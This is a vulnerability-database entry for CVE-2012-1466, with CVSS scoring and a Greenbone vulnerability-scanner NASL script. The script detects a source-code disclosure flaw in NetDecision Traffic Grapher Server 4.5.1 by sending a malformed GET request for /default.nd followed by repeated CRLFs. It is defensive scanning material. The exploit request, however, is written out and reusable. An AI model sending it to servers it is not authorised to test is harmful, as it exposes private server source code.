CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
AI Score
Confidence
Low
EPSS
Percentile
93.8%
NetDecision Traffic Grapher Server is prone to an information disclosure vulnerability.
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.802704");
script_version("2023-07-25T05:05:58+0000");
script_cve_id("CVE-2012-1466");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
script_tag(name:"creation_date", value:"2012-03-09 13:50:32 +0530 (Fri, 09 Mar 2012)");
script_name("Netmechanica NetDecision Traffic Grapher Server Information Disclosure Vulnerability");
script_xref(name:"URL", value:"http://secpod.org/blog/?p=481");
script_xref(name:"URL", value:"http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_Traffic_Grapher_Server_SourceCode_Disc_PoC.py");
script_xref(name:"URL", value:"http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_Traffic_Grapher_Server_SourceCode_Disc_Vuln.txt");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2012 Greenbone AG");
script_family("Web Servers");
script_dependencies("gb_get_http_banner.nasl");
script_require_ports("Services/www", 8087);
script_mandatory_keys("NetDecision-HTTP-Server/banner");
script_tag(name:"impact", value:"Successful exploitation will allow attackers to gain sensitive information.");
script_tag(name:"affected", value:"NetDecision Traffic Grapher Server version 4.5.1");
script_tag(name:"insight", value:"The flaw is due to an improper validation of malicious HTTP GET
request to 'default.nd' with invalid HTTP version number followed by multiple
'CRLF', which discloses the source code of 'default.nd'.");
script_tag(name:"solution", value:"Upgrade to Traffic Grapher Server 4.6.1 or later.");
script_tag(name:"summary", value:"NetDecision Traffic Grapher Server is prone to an information disclosure vulnerability.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_vul");
script_xref(name:"URL", value:"http://www.netmechanica.com/downloads/");
exit(0);
}
include("http_func.inc");
include("port_service_func.inc");
port = http_get_port(default:8087);
banner = http_get_remote_headers(port: port);
if(!banner || "Server: NetDecision-HTTP-Server" >!< banner){
exit(0);
}
soc = http_open_socket(port);
if(!soc){
exit(0);
}
req = string("GET /default.nd HTTP/-1111111\r\n\r\n");
send(socket:soc, data:req);
for(i=0; i<9; i++)
{
send(socket:soc, data:raw_string(0x0d, 0x0a));
sleep(1);
}
sleep(3);
res = http_recv_body(socket:soc);
if(!res)
{
http_close_socket(soc);
exit(0);
}
if(("NetDecision Traffic Grapher Web Interface" >< res) &&
("GetNetDecisionSystemDir(ND_LOG_DIR)" >< res) &&
("func PopulateProperty" >< res) &&
("func PopulateInfo()" >< res))
{
security_message(port:port);
http_close_socket(soc);
exit(0);
}
exit(99);